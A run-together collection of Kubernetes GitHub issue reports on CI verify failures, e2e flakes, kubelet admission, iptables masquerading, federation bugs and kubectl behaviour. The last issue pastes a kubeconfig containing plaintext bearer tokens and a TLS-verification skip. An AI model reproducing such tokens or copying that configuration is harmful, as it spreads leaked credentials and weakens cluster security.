which jobs are failing  :\r ci-kubernetes-verify-stable1\r ci-kubernetes-verify-beta\r \r   which test s  are failing  :\r verify.godeps\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-beta/1116040340579553283\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-stable1/1116040340579553284\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/pull/76485/pull-kubernetes-verify/1116611099316195330/\r \r   since when has it been failing  :\r 2019-04-10\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.13-blocking verify-1.13\r https://testgrid.k8s.io/sig-release-1.14-blocking verify-1.14\r \r   reason for failure  :\r    your godeps.json is different:\r --- godeps/godeps.json  2019-04-12 07:58:02.034819471 +0000\r +++ /tmp/gopath.mryqsi/src/k8s.io/kubernetes/godeps/godeps.json 2019-04-12 08:43:49.604110052 +0000\r @@ -1271,7 +1271,7 @@\r },\r {\r \ importpath\ : \ github.com/coreos/go-semver/semver\ ,\r -       \ comment\ : \ v0.2.0-9-ge214231b295a8e\ ,\r +       \ comment\ : \ v0.3.0\ ,\r \ rev\ : \ e214231b295a8ea9479f11b70b35d5acf3556d9b\ \r },\r {\r godeps verify failed.\r if you're seeing this locally, run the below command to fix your godeps.json:\r patch -p0 < godepdiff.patch\r  the above output can be saved as godepdiff.patch if you're not running this locally \r  the patch file should also be exported as a build artifact if run through ci \r leaving /tmp/gopath.mryqsi for you to examine or copy. please delete it manually when finished.  rm -rf /tmp/gopath.mryqsi \r +++ exit code: 1\r +++ error: 1\r failed verify-godeps.sh 797s\r    \r \r   anything else we need to know  :\r looks like https://github.com/coreos/go-semver/releases finally after a couple years put out a new release, marking as v0.3.0 the commit that we've got vendored.\r \r / /cc @aleksandra-malinowska

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r we have pretty large clusters in aws and in production, we found an inefficiency in provisioning dynamic ebs volumes, where aws-ebs volume provisioner tries to look for available zone from aws directly. with scale, this can trigger massive  server.unavailable  from ec2, and affect cluster stability.\r \r this is also related to  76747\r \r   what you expected to happen  :\r to simply get zones with available instances, we can get information from api server for efficiency. there might be a delay between node gets shutting down and such change is reflected in api server, but in case node is not ready or gets terminated, there will be higher level reconciliation triggered so we are safe.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we only expect this to be hit when the cluster is huge  or aws account is huge  so not easy to reproduce.\r \r /assign\r  

what happened  :\r \r kops runs  kube-proxy  from a pod manifest stored on the node, having the  scheduler.alpha.kubernetes.io/critical-pod  annotation.\r \r we've experienced the case where the cluster autoscaler turned on a new node and, once the node has been added to the cluster, application pods have been admitted before  kube-proxy . once it was the turn of  kube-proxy , all system resources were utilized, so the pod has not been regularly admitted.\r \r however, since it's a critical pod, the  kubelet  executed the  handleadmissionfailure , which has tried to kill   killpodnow    a pod whose container wasn't started yet  it was downloading the docker image , which has caused  killpodnow  to timeout and return the error  \ timeout waiting to kill pod\  .\r \r the admission of  kube-proxy  failed with the following error:\r    \r unexpected error while attempting to recover from admission failure: preemption: pod worker-async-ad-stitching-tracking-5f89bb489d-mvdq4_www 829b7759-7c9d-11e9-ac16-06903246ae0c  failed to evict timeout waiting to kill pod\r    \r \r the  kube-proxy  pod execution has not been retried, so we've got a node without  kube-proxy  running and its networking broken.\r \r \r   what you expected to happen  :\r \r the  kube-proxy  should be eventually admitted.\r \r \r   anything else we need to know?  :\r \r a minimal log extraction for comprehension:\r \r    \r 14:27:17.909755 kubelet.go:1833  syncloop  add, \ api\  : \ worker-async-ad-stitching-tracking-5f89bb489d-mvdq4_www 829b7759-7c9d-11e9-ac16-06903246ae0c \ \r 14:27:27.318348 kubelet.go:1833  syncloop  add, \ file\  : \ kube-proxy-ip-redacted.eu-west-1.compute.internal_kube-system a1808f36adc75b3585b0951a00ac3102 \ \r 14:27:42.456247 predicate.go:107  failed to admit pod kube-proxy-ip-redacted.eu-west-1.compute.internal_kube-system a1808f36adc75b3585b0951a00ac3102  - unexpected error while attempting to recover from admission failure: preemption: pod worker-async-ad-stitching-tracking-5f89bb489d-mvdq4_www 829b7759-7c9d-11e9-ac16-06903246ae0c  failed to evict timeout waiting to kill pod\r 14:27:42.479469 kubelet.go:1878  syncloop  pleg : \ worker-async-ad-stitching-tracking-5f89bb489d-mvdq4_www 829b7759-7c9d-11e9-ac16-06903246ae0c \ , event: &pleg.podlifecycleevent{id:\ 829b7759-7c9d-11e9-ac16-06903246ae0c\ , type:\ containerstarted\ , data:\ 6721ad58d43a97348b00dbca545df21da98242315bcd74740331964d828adb67\ }\r 14:28:17.000000 kubelet.go:1878  syncloop  pleg : \ worker-async-ad-stitching-tracking-5f89bb489d-mvdq4_www 829b7759-7c9d-11e9-ac16-06903246ae0c \ , event: &pleg.podlifecycleevent{id:\ 829b7759-7c9d-11e9-ac16-06903246ae0c\ , type:\ containerstarted\ , data:\ 4725d1fbeb24e46b13d3a19290b61929f4cb14cb4398ee455b3f1ffa8a7cbc17\ }\r    \r \r from the \ failed to admit pod\  log i have been able to trace back the core code involved:\r \r -  handleadmissionfailure    pkg/kubelet/preemption.go  \r   logs: \ failed to admit pod  pod  -  error \ \r   -  evictpodstofreerequests    pkg/kubelet/preemption.go  \r     error message: \ preemption: pod  pod  failed to evict  error \ \r     -  getpodstopreempt    pkg/kubelet/preemption.go  \r     -  killpodfunc  ->  killpodnow    pkg/kubelet/pod_workers.go  \r       error message: \ timeout waiting to kill pod\ \r \r \r   environment  :\r - kubernetes version:  1.11.7 \r - cloud provider: aws\r - os: ubuntu 16.04.6 lts  xenial xerus \r - kernel:  linux 4.4.0-1083-aws \r - install tools: kops\r - network plugin and version: kubenet\r

today kubelet sets up an iptables masquerade rule for any traffic destined for anything except 10.0.0.0/8.  this is close, but not even correct on gce, and certainly not right elsewhere.  first gce.  we probably want something like:      iptables -t nat -n kube-ipmasq iptables -t nat -a kube-ipmasq -d 10.0.0.0/8 -j return iptables -t nat -a kube-ipmasq -d 172.16.0.0/12 -j return iptables -t nat -a kube-ipmasq -d 192.168.0.0/16 -j return iptables -t nat -a kube-ipmasq -j masquerade iptables -t nat -i postrouting -j kube-ipmasq      this catches all traffic to rfc1918 ranges and masquerades it.  we can probably optimize with connmark or something so we only consider packets from containers.  this is probably still imperfect, but better, for lack of project-wide nat for egress.  for other environments, we really have no idea what the correct policy for this is.  it is closer to \ your nodes must handle this\  than \ we can handle this for you\ .  it's debatable whether we should even try.  either: a  we teach kubelet a lot more and let people pass flags to nearly=arbitrarily configure this b  we tell people to configure this as part of their node setup  this popped up when i realized gke allows users to set up 172.\\  clusters - any traffic between containers in one of these will get masqueraded - not correct behavior!!  this is not a huge deal right now because kube-proxy has the same effect when traversing services.  as we fix kube-proxy in the wake of 1.0, masquerade will be a bigger deal, especially for micro-segmenting.  additional considerations: vpns have bizarre and very custom needs.  every such thing has an as yet unmeasured perf implication.  this also pops up in our gce firewall thing that @artfulcoder is working on.  @dchen1107 @alex-mohr

i am wondering if it is possible to support  jsonnet  https://google.github.io/jsonnet/doc/  as a configuration file format for  kubectl .  what do you think about supporting it?   background  i noticed that i have to manage similar but different configuration files for our dev, staging and production environments.  for example, some debug flags are enabled in dev environments; some monitoring stuff are enabled in staging and production environments; each environment has its own set of credentials. on the other hand, other parts of the environments are very similar to each other and must be consistent.   jsonnet is a good way to consistently generate this kind of similar but different configuration files.  so it is very helpful for me if kubectl itself recognizes jsonnet without generating json files from jsonnet.

on aws  and i think gce , when elasticsearch_logging_replicas=1, two elasticsearch pods get deployed by kube-up.  is it off-by-one?

right now, this information is only available via go field tags, but that doesn't work for non-go clients, nor for version-skewed clients.  clearly we'll need some sort of swagger extension for this.  cc @nikhiljindal @lavalamp @ghodss

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-parallel/2226/  failed:  k8s.io  replicationcontroller should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 nov  8 01:24:54.130: couldn't delete ns: \ e2e-tests-replication-controller-nif87\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-replication-controller-nif87/endpoints\\\ \   has prevented the request from succeeding  get endpoints   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-replication-controller-nif87/endpoints\\\\\\\ \\\   has prevented the request from succeeding  get endpoints \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820606460 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338       previous issues for this test:  26870

this issue applies to federation objects such as: secret, namespace, deployment\r ===================================================\r \r namespace:\r i used namespace.yaml as following to create namespace 'federation3'\r \r    \r apiversion: v1\r kind: namespace\r metadata:\r   name: federation3\r    \r \r the creation is successful. upon deletion, namespace 'federation3' does not get deleted from underlying cluster, the status goes to 'terminating on federation. the error i get is:\r \r > \ e1205 19:44:07.779025    8338 namespace_controller.go:367  failed to ensure delete object from underlying clusters finalizer in namespace federation3: failed to add finalizer orphan to namespace : operation cannot be fulfilled on namespaces \ federation3\ : the object has been modified; please apply your changes to the latest version and try again\ \r \r ========================================================\r \r secret:\r i used \ kubectl -s http://localhost:8888 create secret generic test\  to create secret 'test'\r \r the creation is successful. upon deletion, secret 'test' does not get deleted from underlying cluster, however, it does get deleted from the federation. the error i get is:\r \r > \ e1205 19:41:35.950224    8338 secret_controller.go:341  failed to ensure delete object from underlying clusters finalizer in secret test: failed to add finalizer orphan to secret : operation cannot be fulfilled on secrets \ test\ : the object has been modified; please apply your changes to the latest version and try again\ \r \r ============================================================\r \r deployment:\r i used nginx-deployment.yaml as in the link below to create deployment 'nginx-deployment':\r \r http://kubernetes.io/docs/user-guide/deployments/\r \r the creation is successful. upon deletion, deployment 'nginx-deployment' does get deleted from the federation, however, it does not get deleted from the underlying cluster:\r \r > ubuntu@kaveh-ubuntu-dev:~/work/src/k8s.io/kubernetes$ cluster/kubectl.sh get deployment\r > name               desired   current   up-to-date   available   age\r > nginx-deployment   0         0         0            0           13m\r > \r \r  the error i get is:\r \r > \ e1205 19:53:48.980560    8338 deploymentcontroller.go:510  failed to ensure delete object from underlying clusters finalizer in deployment nginx-deployment: failed to add finalizer orphan to deployment : operation cannot be fulfilled on deployments.extensions \ nginx-deployment\ : the object has been modified; please apply your changes to the latest version and try again\

currently the hyperkube image ships with binary components and libraries with outstanding cve's. see quay.io's scan of a hyperkube image based on the upstream build scripts: https://quay.io/repository/coreos/hyperkube/image/a1884bc04b88ddb1f27b3e3e862c330e8056179b55eae89c69bae9c30d84b876?tab=vulnerabilities\r \r clearly, a vulnerability in a rootfs component does not quite equate to a vulnerability in a hyperkube binary running inside this rootfs. the hyperkube component would need to shell out to the binary  possibly via a volume plugin  using attacker controlled input. the problem is that this makes it difficult to assess if any of these vulnerabilities should be taken seriously, and it also makes it difficult to fix if the current debian base image doesn't have a patched version available upon rebuild.\r \r long-term i'm not sure the best way to fix this, but parring down the amount of the components in the rootfs where possible would probably fix a few of these warnings.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : rollout status namespace\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : macbook pro 2015\r -   os    e.g. from /etc/os-release : mac osx sierra\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r 1. using  kubectl apply -f resource.yml , where resource.yml does the following:\r   - describes a deployment object\r   - sets a non-default namespace in the metadata\r 2. run  kubectl rollout status -f resource.yml . an error message says the resource was not found\r 3. run  kubectl rollout status -f resource.yml -f <customnamespace> . the response shows the status of the rollout.\r \r   what you expected to happen  :\r i expected  kubectl rollout status -f resource.yml  to work as well by using the namespace that is set inside resource.yml for the rollout status request.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. run  kubectl create namespace reprns \r 2. create the following file as nginx.yml  taken from the  nginx tutorial docs  https://raw.githubusercontent.com/kubernetes/kubernetes.github.io/master/docs/tutorials/stateless-application/deployment.yaml  but updated to add the namespace :\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r   namespace: reprns\r spec:\r   replicas: 2   tells deployment to run 2 pods matching the template\r   template:   create pods using pod definition in this template\r     metadata:\r         unlike pod-nginx.yaml, the name is not included in the meta data as a unique name is\r         generated from the deployment name\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r    \r 3. run  kubectrl apply -f nginx.yml \r 4. run  kubectl rollout status -f nginx.yml \r   - returns  error from server  notfound : deployments.extensions \ nginx-deployment\  not found \r 5. run  kubectl rollout status -f nginx.yaml -n reprns \r   - returns  deployment \ nginx-deployment\  successfully rolled out \r \r   anything else we need to know  :\r we've seen this issue on 1.5.1 as well, and also on ubuntu. the recreate instructions above were performed on a fresh minikube setup.\r

is this a bug report or feature request?    choose one : bug\r \r   what happened  :\r tests for dns horizontal autoscaling frequently fail in the upgrade suite. it seems 1.5 upgrades are affected much more than 1.4, possibly could be coincidence with such few tests run.\r    gce-1.5-1.6-upgrade-cluster-new\r   https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gce-1.5-1.6-upgrade-cluster-new \r    gke-container_vm-1.5-container_vm-1.6-upgrade-cluster-new\r   https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gke-container_vm-1.5-container_vm-1.6-upgrade-cluster-new \r    gke-container_vm-1.5-gci-1.6-upgrade-cluster-new  https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gke-container_vm-1.5-gci-1.6-upgrade-cluster-new \r    gke-gci-1.5-container_vm-1.6-upgrade-cluster-new\r   https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gke-gci-1.5-container_vm-1.6-upgrade-cluster-new \r \r

example failure:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot-release-1.5/6994 k8sio-reboot-disruptive-featurereboot-each-node-by-ordering-clean-reboot-and-ensure-they-function-upon-restart\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:92\r may  3 16:33:03.888: test failed; at least one node failed to reboot in the time given.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158\r    \r \r \r example suite:\r https://k8s-testgrid.appspot.com/release-1.6-all gce-reboot-1.6&width=5&sort-by-failures=\r \r triage failure cluster:\r https://storage.googleapis.com/k8s-gubernator/triage/index.html 9a3f59da96d25e83df6e\r \r <!-- \r older clusters  unstable for some reason \r 88973e09ad73496a5b36\r d67c31592ebf8ef77cf2\r 9f4ed2b95ae15e5e5fc9\r -->

tldr: https://github.com/kubernetes/kubernetes/pull/34597 removed a feature but left documentation and the flag intact.\r \r   kubernetes version    use  kubectl version  : \r \r     client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : irrelevant\r -   os    e.g. from /etc/os-release : irrelevant\r -   kernel    e.g.  uname -a  : irrelevant\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r i am trying to set up periodic conformance tests on our cluster to make sure it is working as expected.\r prometheus will be used for monitoring. after  make ing kubernetes i executed a command along the lines of:\r \r     ginkgo_parallel=y kubernetes_provider=local     kube_master=local   ./_output/bin/e2e.test --host=\ \  --test.v=true --ginkgo.skip=\ \\  slow|volume|serial \\ \  --ginkgo.focus=\ \\ conformance\\ \  --prom-push-gateway=prometheus-push-gateway.default.svc.cluster.local:9091\r \r the push gateway does never receive the metrics, because the feature was removed.\r \r   what you expected to happen  :\r the tests send the metrics to the push gateway.\r \r   how to reproduce it    as minimally and precisely as possible :\r search for the \ prometheuspushgateway\  flag in this repo. it is used nowhere.\r \r   anything else we need to know  :\r the feature was removed in https://github.com/kubernetes/kubernetes/pull/34597 but the flags were left in place and also in the documentation. it is frustrating to see that this flag is just a black hole. \r a solution to this would be to either reinstate the feature or remove the flag from docs and flags.

this may not be a kubernetes responsibility  and instead be cri or the container runtime , but in general pull latency is the number one contributor to mttr in a cluster.  providing an accurate measurement of a number of image pull metrics would help identify avenues for improvement on most clusters.\r \r some off the cuff values that would help pin down acceptable performance:\r \r 1. throughput of download  vs just duration \r 2. number of images that were force pulled vs ifnotpresent\r 3. difference between pull with no update and pull with update  mostly shows up in latency but the two are not the same \r 4. size of layers pulled vs not pulled, number of layers pulled vs not pulled\r 5. parallelism of pulls\r \r making it easy to reconstruct this from pod logs would also be reasonable if it's not easy to instrument outside of the container runtime.  \r \r @derekwaynecarr

https://github.com/kubernetes/kubernetes/pull/39709 has moved objectmeta  to meta/v1 and mark it deprecated in core api.\r https://github.com/kubernetes/kubernetes/pull/40344 has moved listoptions deleteoptions to meta/v1 and mark it deprecated in core api.\r \r so should remove it from core api group.\r \r 

hi all,   i am running bare metal install of kubernetes on ubuntu  http://kubernetes.io/docs/getting-started-guides/ubuntu/  and facing issues.. i have one master and 2 minions.. deployment is done on master node however, minion node is complaining \ failed to retrieve network config: client: etcd cluster is unavailable or misconfigured\ .. deployment is getting stuck after\  flanneld start/running, process 18764\ ..   and flannel logs are giving the above mentioned error in logs..  please see the versions i am using: kube=1.3.3, flannel: 0.5.5 and etcd=2.3.1. also, i am using aws ec2 instances as my infra...  any help would be highly appreciated, as i am doing poc of the same and need this to sort out  thanks.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-gce-e2e-ci/10782/  failed:  k8s.io  configmap should be consumable from pods in volume with mappings as non-root with fsgroup  feature:fsgroup  {e2enode suite}      /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:67 expected error:     < errors.errorstring | 0xc820db8b80>: {         s: \ expected pod \\\ pod-configmaps-2f6c40ab-a03e-11e6-945c-42010a80001a\\\  success: pod \\\ pod-configmaps-2f6c40ab-a03e-11e6-945c-42010a80001a\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 14:19:22 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 14:19:22 +0000 utc reason:containersnotready message:containers with unready status:  configmap-volume-test }  message: reason: hostip:10.128.0.26 podip:10.180.0.10 starttime:2016-11-01 14:19:22 +0000 utc initcontainerstatuses:   containerstatuses: {name:configmap-volume-test state:{waiting:<nil> running:<nil> terminated:0xc820dc0150} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://9ec3400d93afbc0cd13b92f90ff2720ec7cb6637197e98786f226b7c68ba0953} }\ ,     }     expected pod \ pod-configmaps-2f6c40ab-a03e-11e6-945c-42010a80001a\  success: pod \ pod-configmaps-2f6c40ab-a03e-11e6-945c-42010a80001a\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 14:19:22 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 14:19:22 +0000 utc reason:containersnotready message:containers with unready status:  configmap-volume-test }  message: reason: hostip:10.128.0.26 podip:10.180.0.10 starttime:2016-11-01 14:19:22 +0000 utc initcontainerstatuses:   containerstatuses: {name:configmap-volume-test state:{waiting:<nil> running:<nil> terminated:0xc820dc0150} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://9ec3400d93afbc0cd13b92f90ff2720ec7cb6637197e98786f226b7c68ba0953} } not to have occurred /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2128

i mentioned this in  40110.  we should have a version of our automated upgrade tests that take a 1.5 cluster and upgrade only the version of etcd running.  this will let us isolate etcd upgrade failures from 1.5->1.6 bugs.\r \r @ethernetdan \r @wojtek-t \r @kubernetes/sig-testing-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r kubernetes-v1.6.0-alpha.1\r \r   environment  :\r -   cloud provider or hardware configuration  : hardware configuration\r -   os    e.g. from /etc/os-release : ubuntu 14.04.1 lts\r -   kernel    e.g.  uname -a  : 4.2.0-27-generic\r -   install tools  : federation-apiserver-deplyment.yaml,federation-controller-manager.yaml,kubefed join\r -   others  :\r \r \r   what happened  :\r \r     1. i have started  federation apiserver and controller manager service in my host cluster.\r   kubectl get pod --namespace=federation  \r name                                             ready     status    restarts   age\r federation-apiserver-1812305095-bx2lg            2/2       running   0          6d\r federation-controller-manager-3122363240-flg0l   1/1       running   21         6d\r \r     2. here is my host cluster kubeconfig\r   kubectl config view  \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /var/run/kubernetes/ca.crt\r     server: https://172.31.19.28:443\r   name: cluster-cloud94\r - cluster:\r     insecure-skip-tls-verify: true\r     server: https://172.31.19.28:30443\r   name: federation-cluster\r contexts:\r - context:\r     cluster: cluster-cloud94\r     user: cluster-cloud94\r   name: cluster-cloud94\r - context:\r     cluster: \ \ \r     user: \ \ \r   name: default\r - context:\r     cluster: federation-cluster\r     user: federation-cluster\r   name: federation-cluster\r current-context: cluster-cloud94\r kind: config\r preferences: {}\r users:\r - name: cluster-cloud94\r   user:\r     client-certificate: /var/run/kubernetes/server.crt\r     client-key: /var/run/kubernetes/server.key\r     token: mmcricnsli1k2gdfydneqo4jy7hbent4\r - name: federation-cluster\r   user:\r     token: zwpsikg0da77z6hwk3fvoxeudnlue3dp\r \r     3. then i use kubefed join to add cluster-cloud94 into federation.\r   kubefed join cluster-cloud94 --host-cluster-context=cluster-cloud94  --context=federation-cluster --federation-system-namespace=federation  \r cluster \ cluster-cloud94\  created\r \r     4. it show cluster-cloud94 unknow status.\r   kubectl get cluster --context=federation-cluster  \r name status age\r cluster-cloud94 unknown 21h\r \r   kubectl get secret --namespace=federation   \r name type data age\r cluster-cloud94 opaque 1 6h\r \r     5. it show this error:\r    kubectl logs pod/federation-controller-manager-3122363240-6lcvj --namespace=federation  \r i0307 02:40:36.798860       1 interface.go:138  interface \ eth0\  has 2 addresses : 192.168.8.163/27 fe80::42:c0ff:fea8:8a3/64 .\r i0307 02:40:36.798886       1 interface.go:105  checking addr  192.168.8.163/27.\r i0307 02:40:36.798900       1 interface.go:114  ip found 192.168.8.163\r i0307 02:40:36.798911       1 interface.go:144  valid ipv4 address for interface \ eth0\  found as 192.168.8.163.\r i0307 02:40:36.798921       1 interface.go:254  choosing ip 192.168.8.163 \r e0307 02:40:36.798821       1 federated_informer.go:195  cluster &cluster{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:cluster-cloud94,generatename:,namespace:,selflink:/apis/federation/v1beta1/clusterscluster-cloud94,uid:71c77f74-02df-11e7-a8fc-0242c0a803ea,resourceversion:1958,generation:0,creationtimestamp:2017-03-07 02:40:36 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{},annotations:map string string{},ownerreferences:  ,finalizers:  ,clustername:,},spec:clusterspec{serveraddressbyclientcidrs: {0.0.0.0/0 https://172.31.19.28:443} ,secretref:&k8s_io_kubernetes_pkg_api_v1.localobjectreference{name:cluster-cloud94,},},status:clusterstatus{conditions:  ,zones:  ,region:,},} not added.  not of correct type, or cluster not ready.\r e0307 02:40:36.798913       1 federated_informer.go:195  cluster &cluster{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:cluster-cloud94,generatename:,namespace:,selflink:/apis/federation/v1beta1/clusterscluster-cloud94,uid:71c77f74-02df-11e7-a8fc-0242c0a803ea,resourceversion:1958,generation:0,creationtimestamp:2017-03-07 02:40:36 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{},annotations:map string string{},ownerreferences:  ,finalizers:  ,clustername:,},spec:clusterspec{serveraddressbyclientcidrs: {0.0.0.0/0 https://172.31.19.28:443} ,secretref:&k8s_io_kubernetes_pkg_api_v1.localobjectreference{name:cluster-cloud94,},},status:clusterstatus{conditions:  ,zones:  ,region:,},} not added.  not of correct type, or cluster not ready.\r e0307 02:40:36.798821       1 federated_informer.go:195  cluster &cluster{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:cluster-cloud94,generatename:,namespace:,selflink:/apis/federation/v1beta1/clusterscluster-cloud94,uid:71c77f74-02df-11e7-a8fc-0242c0a803ea,resourceversion:1958,generation:0,creationtimestamp:2017-03-07 02:40:36 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{},annotations:map string string{},ownerreferences:  ,finalizers:  ,clustername:,},spec:clusterspec{serveraddressbyclientcidrs: {0.0.0.0/0   https://172.31.19.28:443} ,secretref:&k8s_io_kubernetes_pkg_api_v1.localobjectreference{name:cluster-cloud94,},},status:clusterstatus{conditions:  ,zones:  ,region:,},} not added.  not of correct type, or cluster not ready.  \r e0307 02:40:36.799022       1 federated_informer.go:195  cluster &cluster{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:cluster-cloud94,generatename:,namespace:,selflink:/apis/federation/v1beta1/clusterscluster-cloud94,uid:71c77f74-02df-11e7-a8fc-0242c0a803ea,resourceversion:1958,generation:0,creationtimestamp:2017-03-07 02:40:36 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{},annotations:map string string{},ownerreferences:  ,finalizers:  ,clustername:,},spec:clusterspec{serveraddressbyclientcidrs: {0.0.0.0/0 https://172.31.19.28:443} ,secretref:&k8s_io_kubernetes_pkg_api_v1.localobjectreference{name:cluster-cloud94,},},status:clusterstatus{conditions:  ,zones:  ,region:,},} not added.  not of correct type, or cluster not ready.\r w0307 02:40:36.800897       1 cluster_util.go:121  error in fetching secret: the server has asked for the client to provide credentials  get secrets cluster-cloud94 \r w0307 02:40:37.802662       1 cluster_util.go:121  error in fetching secret: the server has asked for the client to provide credentials  get secrets cluster-cloud94 \r   w0307 02:40:38.802529       1 cluster_util.go:121  error in fetching secret: the server has asked for the client to provide credentials  get secrets cluster-cloud94   \r \r    question:\r 1. how to fixed this issue?\r 2.it seams caused by my host cluster secrets. i have configureted ca certification for host cluster, and can kubeconfig to access host cluster api, why it error to get secrets cluster-cloud94?\r   